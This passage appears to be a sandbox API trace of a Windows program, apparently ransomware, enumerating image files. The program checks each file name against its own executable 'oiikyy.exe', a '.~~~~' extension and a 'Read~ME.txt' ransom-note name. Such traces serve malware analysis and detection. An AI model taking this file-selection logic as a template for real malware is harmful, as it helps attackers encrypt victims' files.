	[0082.839] lstrcmpiW (lpString1="BD19582_.GIF", lpString2="Windows") returned -1
	[0082.839] lstrcmpW (lpString1="BD19582_.GIF", lpString2="oiikyy.exe") returned -1
	[0082.839] StrStrW (lpFirst="BD19582_.GIF", lpSrch=".~~~~") returned 0x0
	[0082.839] lstrcmpW (lpString1="BD19582_.GIF", lpString2="Read~ME.txt") returned -1
	[0082.839] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c620
	[0082.839] GetCurrentThreadId () returned 0x618
	[0082.839] RtlWakeConditionVariable () returned 0x365f48
	[0082.840] lstrcmpiW (lpString1="BD19695_.WMF", lpString2="Windows") returned -1
	[0082.840] lstrcmpW (lpString1="BD19695_.WMF", lpString2="oiikyy.exe") returned -1
	[0082.840] StrStrW (lpFirst="BD19695_.WMF", lpSrch=".~~~~") returned 0x0
	[0082.840] lstrcmpW (lpString1="BD19695_.WMF", lpString2="Read~ME.txt") returned -1
	[0082.840] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c620
	[0082.840] GetCurrentThreadId () returned 0x618
	[0082.840] RtlWakeConditionVariable () returned 0x365f48
	[0082.842] lstrcmpiW (lpString1="BD19827_.WMF", lpString2="Windows") returned -1
	[0082.842] lstrcmpW (lpString1="BD19827_.WMF", lpString2="oiikyy.exe") returned -1
	[0082.842] StrStrW (lpFirst="BD19827_.WMF", lpSrch=".~~~~") returned 0x0
	[0082.842] lstrcmpW (lpString1="BD19827_.WMF", lpString2="Read~ME.txt") returned -1
	[0082.842] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c620
	[0082.842] GetCurrentThreadId () returned 0x618
	[0082.842] RtlWakeConditionVariable () returned 0x365f48
	[0082.842] lstrcmpiW (lpString1="BD19828_.WMF", lpString2="Windows") returned -1
	[0082.842] lstrcmpW (lpString1="BD19828_.WMF", lpString2="oiikyy.exe") returned -1
	[0082.842] StrStrW (lpFirst="BD19828_.WMF", lpSrch=".~~~~") returned 0x0
	[0082.842] lstrcmpW (lpString1="BD19828_.WMF", lpString2="Read~ME.txt") returned -1
	[0082.842] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c620
	[0082.842] GetCurrentThreadId () returned 0x618
	[0082.843] RtlWakeConditionVariable () returned 0x365f48
	[0082.843] lstrcmpiW (lpString1="BD19986_.WMF", lpString2="Windows") returned -1
	[0082.843] lstrcmpW (lpString1="BD19986_.WMF", lpString2="oiikyy.exe") returned -1
	[0082.843] StrStrW (lpFirst="BD19986_.WMF", lpSrch=".~~~~") returned 0x0
	[0082.843] lstrcmpW (lpString1="BD19986_.WMF", lpString2="Read~ME.txt") returned -1
	[0082.843] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c620
	[0082.843] GetCurrentThreadId () returned 0x618
	[0082.843] RtlWakeConditionVariable () returned 0x365f48
	[0082.843] lstrcmpiW (lpString1="BD19988_.WMF", lpString2="Windows") returned -1
	[0082.843] lstrcmpW (lpString1="BD19988_.WMF", lpString2="oiikyy.exe") returned -1
	[0082.843] StrStrW (lpFirst="BD19988_.WMF", lpSrch=".~~~~") returned 0x0
	[0082.843] lstrcmpW (lpString1="BD19988_.WMF", lpString2="Read~ME.txt") returned -1
	[0082.843] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c620
	[0082.843] GetCurrentThreadId () returned 0x618
	[0082.843] RtlWakeConditionVariable () returned 0x365f48
	[0082.843] lstrcmpiW (lpString1="BD20013_.WMF", lpString2="Windows") returned -1
	[0082.843] lstrcmpW (lpString1="BD20013_.WMF", lpString2="oiikyy.exe") returned -1
	[0082.843] StrStrW (lpFirst="BD20013_.WMF", lpSrch=".~~~~") returned 0x0
	[0082.843] lstrcmpW (lpString1="BD20013_.WMF", lpString2="Read~ME.txt") returned -1
	[0082.843] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c620
	[0082.843] GetCurrentThreadId () returned 0x618
	[0082.843] RtlWakeConditionVariable () returned 0x365f48
	[0082.844] lstrcmpiW (lpString1="BL00008_.WMF", lpString2="Windows") returned -1
	[0082.844] lstrcmpW (lpString1="BL00008_.WMF", lpString2="oiikyy.exe") returned -1
	[0082.844] StrStrW (lpFirst="BL00008_.WMF", lpSrch=".~~~~") returned 0x0
	[0082.844] lstrcmpW (lpString1="BL00008_.WMF", lpString2="Read~ME.txt") returned -1
	[0082.844] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c620
	[0082.844] GetCurrentThreadId () returned 0x618
	[0082.844] RtlWakeConditionVariable () returned 0x365f48
	[0082.844] lstrcmpiW (lpString1="BL00012_.WMF", lpString2="Windows") returned -1
	[0082.844] lstrcmpW (lpString1="BL00012_.WMF", lpString2="oiikyy.exe") returned -1
	[0082.844] StrStrW (lpFirst="BL00012_.WMF", lpSrch=".~~~~") returned 0x0
	[0082.844] lstrcmpW (lpString1="BL00012_.WMF", lpString2="Read~ME.txt") returned -1
	[0082.844] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c620
	[0082.844] GetCurrentThreadId () returned 0x618
	[0082.844] RtlWakeConditionVariable () returned 0x365f48
	[0082.844] lstrcmpiW (lpString1="BL00045_.WMF", lpString2="Windows") returned -1
	[0082.844] lstrcmpW (lpString1="BL00045_.WMF", lpString2="oiikyy.exe") returned -1
	[0082.851] StrStrW (lpFirst="BL00045_.WMF", lpSrch=".~~~~") returned 0x0
	[0082.851] lstrcmpW (lpString1="BL00045_.WMF", lpString2="Read~ME.txt") returned -1
	[0082.851] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c620
	[0082.851] GetCurrentThreadId () returned 0x618
	[0082.851] RtlWakeConditionVariable () returned 0x365f48
	[0082.852] lstrcmpiW (lpString1="BL00098_.WMF", lpString2="Windows") returned -1
	[0082.852] lstrcmpW (lpString1="BL00098_.WMF", lpString2="oiikyy.exe") returned -1
	[0082.852] StrStrW (lpFirst="BL00098_.WMF", lpSrch=".~~~~") returned 0x0
	[0082.852] lstrcmpW (lpString1="BL00098_.WMF", lpString2="Read~ME.txt") returned -1
	[0082.852] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c620
	[0082.852] GetCurrentThreadId () returned 0x618
	[0082.852] RtlWakeConditionVariable () returned 0x365f48
	[0082.852] lstrcmpiW (lpString1="BL00105_.WMF", lpString2="Windows") returned -1
	[0082.852] lstrcmpW (lpString1="BL00105_.WMF", lpString2="oiikyy.exe") returned -1
	[0082.852] StrStrW (lpFirst="BL00105_.WMF", lpSrch=".~~~~") returned 0x0
	[0082.852] lstrcmpW (lpString1="BL00105_.WMF", lpString2="Read~ME.txt") returned -1
	[0082.852] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c620
	[0082.852] GetCurrentThreadId () returned 0x618
	[0082.853] RtlWakeConditionVariable () returned 0x365f48
	[0082.853] lstrcmpiW (lpString1="BL00122_.WMF", lpString2="Windows") returned -1
	[0082.853] lstrcmpW (lpString1="BL00122_.WMF", lpString2="oiikyy.exe") returned -1
	[0082.853] StrStrW (lpFirst="BL00122_.WMF", lpSrch=".~~~~") returned 0x0
	[0082.853] lstrcmpW (lpString1="BL00122_.WMF", lpString2="Read~ME.txt") returned -1
	[0082.853] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c620
	[0082.853] GetCurrentThreadId () returned 0x618
	[0082.853] RtlWakeConditionVariable () returned 0x365f48
	[0082.853] lstrcmpiW (lpString1="BL00130_.WMF", lpString2="Windows") returned -1
	[0082.853] lstrcmpW (lpString1="BL00130_.WMF", lpString2="oiikyy.exe") returned -1
	[0082.853] StrStrW (lpFirst="BL00130_.WMF", lpSrch=".~~~~") returned 0x0
	[0082.853] lstrcmpW (lpString1="BL00130_.WMF", lpString2="Read~ME.txt") returned -1
	[0082.853] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c620
	[0082.853] GetCurrentThreadId () returned 0x618
	[0082.853] RtlWakeConditionVariable () returned 0x365f48
	[0082.853] lstrcmpiW (lpString1="BL00148_.WMF", lpString2="Windows") returned -1
	[0082.854] lstrcmpW (lpString1="BL00148_.WMF", lpString2="oiikyy.exe") returned -1
	[0082.854] StrStrW (lpFirst="BL00148_.WMF", lpSrch=".~~~~") returned 0x0
	[0082.854] lstrcmpW (lpString1="BL00148_.WMF", lpString2="Read~ME.txt") returned -1
	[0082.854] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c620
	[0082.854] GetCurrentThreadId () returned 0x618
	[0082.854] RtlWakeConditionVariable () returned 0x365f48
	[0082.854] lstrcmpiW (lpString1="BL00152_.WMF", lpString2="Windows") returned -1
	[0082.854] lstrcmpW (lpString1="BL00152_.WMF", lpString2="oiikyy.exe") returned -1
	[0082.854] StrStrW (lpFirst="BL00152_.WMF", lpSrch=".~~~~") returned 0x0
	[0082.854] lstrcmpW (lpString1="BL00152_.WMF", lpString2="Read~ME.txt") returned -1
	[0082.854] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c620
	[0082.854] GetCurrentThreadId () returned 0x618
	[0082.854] RtlWakeConditionVariable () returned 0x365f48
	[0082.854] lstrcmpiW (lpString1="BL00194_.WMF", lpString2="Windows") returned -1
	[0082.854] lstrcmpW (lpString1="BL00194_.WMF", lpString2="oiikyy.exe") returned -1
	[0082.854] StrStrW (lpFirst="BL00194_.WMF", lpSrch=".~~~~") returned 0x0
	[0082.855] lstrcmpW (lpString1="BL00194_.WMF", lpString2="Read~ME.txt") returned -1
	[0082.855] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c620
	[0082.855] GetCurrentThreadId () returned 0x618
	[0082.855] RtlWakeConditionVariable () returned 0x365f48
	[0082.855] lstrcmpiW (lpString1="BL00195_.WMF", lpString2="Windows") returned -1
	[0082.855] lstrcmpW (lpString1="BL00195_.WMF", lpString2="oiikyy.exe") returned -1
	[0082.855] StrStrW (lpFirst="BL00195_.WMF", lpSrch=".~~~~") returned 0x0
	[0082.855] lstrcmpW (lpString1="BL00195_.WMF", lpString2="Read~ME.txt") returned -1
	[0082.855] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c620
	[0082.855] GetCurrentThreadId () returned 0x618
	[0082.855] RtlWakeConditionVariable () returned 0x365f48
	[0082.855] lstrcmpiW (lpString1="BL00234_.WMF", lpString2="Windows") returned -1
	[0082.855] lstrcmpW (lpString1="BL00234_.WMF", lpString2="oiikyy.exe") returned -1
	[0082.855] StrStrW (lpFirst="BL00234_.WMF", lpSrch=".~~~~") returned 0x0
	[0082.855] lstrcmpW (lpString1="BL00234_.WMF", lpString2="Read~ME.txt") returned -1
	[0082.855] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c620
	[0082.855] GetCurrentThreadId () returned 0x618
	[0082.855] RtlWakeConditionVariable () returned 0x365f48
	[0082.855] lstrcmpiW (lpString1="BL00242_.WMF", lpString2="Windows") returned -1
	[0082.856] lstrcmpW (lpString1="BL00242_.WMF", lpString2="oiikyy.exe") returned -1
	[0082.856] StrStrW (lpFirst="BL00242_.WMF", lpSrch=".~~~~") returned 0x0
	[0082.856] lstrcmpW (lpString1="BL00242_.WMF", lpString2="Read~ME.txt") returned -1
	[0082.856] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c620
	[0082.856] GetCurrentThreadId () returned 0x618
	[0082.856] RtlWakeConditionVariable () returned 0x365f48
	[0082.856] lstrcmpiW (lpString1="BL00247_.WMF", lpString2="Windows") returned -1
	[0082.856] lstrcmpW (lpString1="BL00247_.WMF", lpString2="oiikyy.exe") returned -1
	[0082.856] StrStrW (lpFirst="BL00247_.WMF", lpSrch=".~~~~") returned 0x0
	[0082.856] lstrcmpW (lpString1="BL00247_.WMF", lpString2="Read~ME.txt") returned -1
	[0082.856] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c620
	[0082.856] GetCurrentThreadId () returned 0x618
	[0082.856] RtlWakeConditionVariable () returned 0x365f48
	[0082.856] lstrcmpiW (lpString1="BL00248_.WMF", lpString2="Windows") returned -1
	[0082.856] lstrcmpW (lpString1="BL00248_.WMF", lpString2="oiikyy.exe") returned -1
	[0082.856] StrStrW (lpFirst="BL00248_.WMF", lpSrch=".~~~~") returned 0x0
	[0082.856] lstrcmpW (lpString1="BL00248_.WMF", lpString2="Read~ME.txt") returned -1
	[0082.856] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c620
	[0082.856] GetCurrentThreadId () returned 0x618
	[0082.856] RtlWakeConditionVariable () returned 0x365f48
	[0082.857] lstrcmpiW (lpString1="BL00252_.WMF", lpString2="Windows") returned -1
	[0082.857] lstrcmpW (lpString1="BL00252_.WMF", lpString2="oiikyy.exe") returned -1
	[0082.857] StrStrW (lpFirst="BL00252_.WMF", lpSrch=".~~~~") returned 0x0
	[0082.857] lstrcmpW (lpString1="BL00252_.WMF", lpString2="Read~ME.txt") returned -1
	[0082.857] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c620
	[0082.857] GetCurrentThreadId () returned 0x618
	[0082.857] RtlWakeConditionVariable () returned 0x365f48
	[0082.857] lstrcmpiW (lpString1="BL00254_.WMF", lpString2="Windows") returned -1
	[0082.857] lstrcmpW (lpString1="BL00254_.WMF", lpString2="oiikyy.exe") returned -1
	[0082.857] StrStrW (lpFirst="BL00254_.WMF", lpSrch=".~~~~") returned 0x0
	[0082.857] lstrcmpW (lpString1="BL00254_.WMF", lpString2="Read~ME.txt") returned -1
	[0082.857] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c620
	[0082.857] GetCurrentThreadId () returned 0x618
	[0082.857] RtlWakeConditionVariable () returned 0x365f48
	[0082.857] lstrcmpiW (lpString1="BL00261_.WMF", lpString2="Windows") returned -1
	[0082.857] lstrcmpW (lpString1="BL00261_.WMF", lpString2="oiikyy.exe") returned -1
	[0082.857] StrStrW (lpFirst="BL00261_.WMF", lpSrch=".~~~~") returned 0x0
	[0082.857] lstrcmpW (lpString1="BL00261_.WMF", lpString2="Read~ME.txt") returned -1
	[0082.857] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c620
	[0082.857] GetCurrentThreadId () returned 0x618
	[0082.858] RtlWakeConditionVariable () returned 0x365f48
	[0082.858] lstrcmpiW (lpString1="BL00262_.WMF", lpString2="Windows") returned -1
	[0082.858] lstrcmpW (lpString1="BL00262_.WMF", lpString2="oiikyy.exe") returned -1
	[0082.858] StrStrW (lpFirst="BL00262_.WMF", lpSrch=".~~~~") returned 0x0
	[0082.858] lstrcmpW (lpString1="BL00262_.WMF", lpString2="Read~ME.txt") returned -1
	[0082.858] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c620
	[0082.858] GetCurrentThreadId () returned 0x618
	[0082.858] RtlWakeConditionVariable () returned 0x365f48
	[0082.858] lstrcmpiW (lpString1="BL00265_.WMF", lpString2="Windows") returned -1
	[0082.858] lstrcmpW (lpString1="BL00265_.WMF", lpString2="oiikyy.exe") returned -1
	[0082.858] StrStrW (lpFirst="BL00265_.WMF", lpSrch=".~~~~") returned 0x0
	[0082.858] lstrcmpW (lpString1="BL00265_.WMF", lpString2="Read~ME.txt") returned -1
	[0082.858] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c620
	[0082.858] GetCurrentThreadId () returned 0x618
	[0082.858] RtlWakeConditionVariable () returned 0x365f48
	[0082.858] lstrcmpiW (lpString1="BL00267_.WMF", lpString2="Windows") returned -1
	[0082.858] lstrcmpW (lpString1="BL00267_.WMF", lpString2="oiikyy.exe") returned -1
	[0082.858] StrStrW (lpFirst="BL00267_.WMF", lpSrch=".~~~~") returned 0x0
	[0082.858] lstrcmpW (lpString1="BL00267_.WMF", lpString2="Read~ME.txt") returned -1
	[0082.858] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c620
	[0082.858] GetCurrentThreadId () returned 0x618
	[0082.858] RtlWakeConditionVariable () returned 0x365f48
	[0082.859] lstrcmpiW (lpString1="BL00269_.WMF", lpString2="Windows") returned -1
	[0082.859] lstrcmpW (lpString1="BL00269_.WMF", lpString2="oiikyy.exe") returned -1
	[0082.859] StrStrW (lpFirst="BL00269_.WMF", lpSrch=".~~~~") returned 0x0
	[0082.859] lstrcmpW (lpString1="BL00269_.WMF", lpString2="Read~ME.txt") returned -1
	[0082.859] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c620
	[0082.859] GetCurrentThreadId () returned 0x618
	[0082.859] RtlWakeConditionVariable () returned 0x365f48
	[0082.859] lstrcmpiW (lpString1="BL00270_.WMF", lpString2="Windows") returned -1
	[0082.859] lstrcmpW (lpString1="BL00270_.WMF", lpString2="oiikyy.exe") returned -1
	[0082.859] StrStrW (lpFirst="BL00270_.WMF", lpSrch=".~~~~") returned 0x0
	[0082.859] lstrcmpW (lpString1="BL00270_.WMF", lpString2="Read~ME.txt") returned -1
	[0082.859] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c620
	[0082.859] GetCurrentThreadId () returned 0x618
	[0082.859] RtlWakeConditionVariable () returned 0x365f48
	[0082.859] lstrcmpiW (lpString1="BL00273_.WMF", lpString2="Windows") returned -1
	[0082.859] lstrcmpW (lpString1="BL00273_.WMF", lpString2="oiikyy.exe") returned -1
	[0082.859] StrStrW (lpFirst="BL00273_.WMF", lpSrch=".~~~~") returned 0x0
	[0082.859] lstrcmpW (lpString1="BL00273_.WMF", lpString2="Read~ME.txt") returned -1
	[0082.859] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c620
	[0082.859] GetCurrentThreadId () returned 0x618
	[0082.859] RtlWakeConditionVariable () returned 0x365f48
	[0082.859] lstrcmpiW (lpString1="BL00274_.WMF", lpString2="Windows") returned -1
	[0082.859] lstrcmpW (lpString1="BL00274_.WMF", lpString2="oiikyy.exe") returned -1
	[0082.860] StrStrW (lpFirst="BL00274_.WMF", lpSrch=".~~~~") returned 0x0
	[0082.860] lstrcmpW (lpString1="BL00274_.WMF", lpString2="Read~ME.txt") returned -1
	[0082.860] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c620
	[0082.860] GetCurrentThreadId () returned 0x618
	[0082.860] RtlWakeConditionVariable () returned 0x365f48
	[0082.860] lstrcmpiW (lpString1="BL00296_.WMF", lpString2="Windows") returned -1
	[0083.032] lstrcmpW (lpString1="BL00296_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.032] StrStrW (lpFirst="BL00296_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.032] lstrcmpW (lpString1="BL00296_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.032] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c3c0
	[0083.032] GetCurrentThreadId () returned 0x618
	[0083.032] RtlWakeConditionVariable () returned 0x365f48
	[0083.032] lstrcmpiW (lpString1="BL00390_.WMF", lpString2="Windows") returned -1
	[0083.032] lstrcmpW (lpString1="BL00390_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.032] StrStrW (lpFirst="BL00390_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.032] lstrcmpW (lpString1="BL00390_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.032] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c3c0
	[0083.032] GetCurrentThreadId () returned 0x618
	[0083.032] RtlWakeConditionVariable () returned 0x365f48
	[0083.032] lstrcmpiW (lpString1="BL00392_.WMF", lpString2="Windows") returned -1
	[0083.032] lstrcmpW (lpString1="BL00392_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.032] StrStrW (lpFirst="BL00392_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.032] lstrcmpW (lpString1="BL00392_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.033] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c3c0
	[0083.033] GetCurrentThreadId () returned 0x618
	[0083.033] RtlWakeConditionVariable () returned 0x365f48
	[0083.033] lstrcmpiW (lpString1="BL00524_.WMF", lpString2="Windows") returned -1
	[0083.033] lstrcmpW (lpString1="BL00524_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.033] StrStrW (lpFirst="BL00524_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.033] lstrcmpW (lpString1="BL00524_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.033] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c3c0
	[0083.033] GetCurrentThreadId () returned 0x618
	[0083.033] RtlWakeConditionVariable () returned 0x365f48
	[0083.235] lstrcmpiW (lpString1="BL00525_.WMF", lpString2="Windows") returned -1
	[0083.235] lstrcmpW (lpString1="BL00525_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.235] StrStrW (lpFirst="BL00525_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.235] lstrcmpW (lpString1="BL00525_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.235] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.235] GetCurrentThreadId () returned 0x618
	[0083.235] RtlWakeConditionVariable () returned 0x365f48
	[0083.235] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3fb0f00, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd3fb0f00, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x6ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00526_.WMF", cAlternateFileName="")) returned 1
	[0083.235] lstrcmpiW (lpString1="BL00526_.WMF", lpString2="Windows") returned -1
	[0083.235] lstrcmpW (lpString1="BL00526_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.235] StrStrW (lpFirst="BL00526_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.235] lstrcmpW (lpString1="BL00526_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.235] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.235] GetCurrentThreadId () returned 0x618
	[0083.235] RtlWakeConditionVariable () returned 0x365f48
	[0083.235] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20fce500, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x5f7031f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x20fce500, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x2cec, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00648_.WMF", cAlternateFileName="")) returned 1
	[0083.235] lstrcmpiW (lpString1="BL00648_.WMF", lpString2="Windows") returned -1
	[0083.235] lstrcmpW (lpString1="BL00648_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.235] StrStrW (lpFirst="BL00648_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.235] lstrcmpW (lpString1="BL00648_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.235] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.235] GetCurrentThreadId () returned 0x618
	[0083.236] RtlWakeConditionVariable () returned 0x365f48
	[0083.236] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeba4c700, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeba4c700, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x1138, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00921_.WMF", cAlternateFileName="")) returned 1
	[0083.236] lstrcmpiW (lpString1="BL00921_.WMF", lpString2="Windows") returned -1
	[0083.236] lstrcmpW (lpString1="BL00921_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.236] StrStrW (lpFirst="BL00921_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.236] lstrcmpW (lpString1="BL00921_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.236] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.236] GetCurrentThreadId () returned 0x618
	[0083.236] RtlWakeConditionVariable () returned 0x365f48
	[0083.236] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74832900, ftCreationTime.dwHighDateTime=0x1bd4bf7, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x74832900, ftLastWriteTime.dwHighDateTime=0x1bd4bf7, nFileSizeHigh=0x0, nFileSizeLow=0x1870, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00923_.WMF", cAlternateFileName="")) returned 1
	[0083.236] lstrcmpiW (lpString1="BL00923_.WMF", lpString2="Windows") returned -1
	[0083.236] lstrcmpW (lpString1="BL00923_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.237] StrStrW (lpFirst="BL00923_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.237] lstrcmpW (lpString1="BL00923_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.237] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.237] GetCurrentThreadId () returned 0x618
	[0083.237] RtlWakeConditionVariable () returned 0x365f48
	[0083.237] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f7031f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4c14, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00932_.WMF", cAlternateFileName="")) returned 1
	[0083.237] lstrcmpiW (lpString1="BL00932_.WMF", lpString2="Windows") returned -1
	[0083.237] lstrcmpW (lpString1="BL00932_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.237] StrStrW (lpFirst="BL00932_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.237] lstrcmpW (lpString1="BL00932_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.237] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.237] GetCurrentThreadId () returned 0x618
	[0083.237] RtlWakeConditionVariable () returned 0x365f48
	[0083.237] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7d46d00, ftCreationTime.dwHighDateTime=0x1bd4bee, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe7d46d00, ftLastWriteTime.dwHighDateTime=0x1bd4bee, nFileSizeHigh=0x0, nFileSizeLow=0xeb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00985_.WMF", cAlternateFileName="")) returned 1
	[0083.237] lstrcmpiW (lpString1="BL00985_.WMF", lpString2="Windows") returned -1
	[0083.237] lstrcmpW (lpString1="BL00985_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.237] StrStrW (lpFirst="BL00985_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.237] lstrcmpW (lpString1="BL00985_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.237] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.237] GetCurrentThreadId () returned 0x618
	[0083.237] RtlWakeConditionVariable () returned 0x365f48
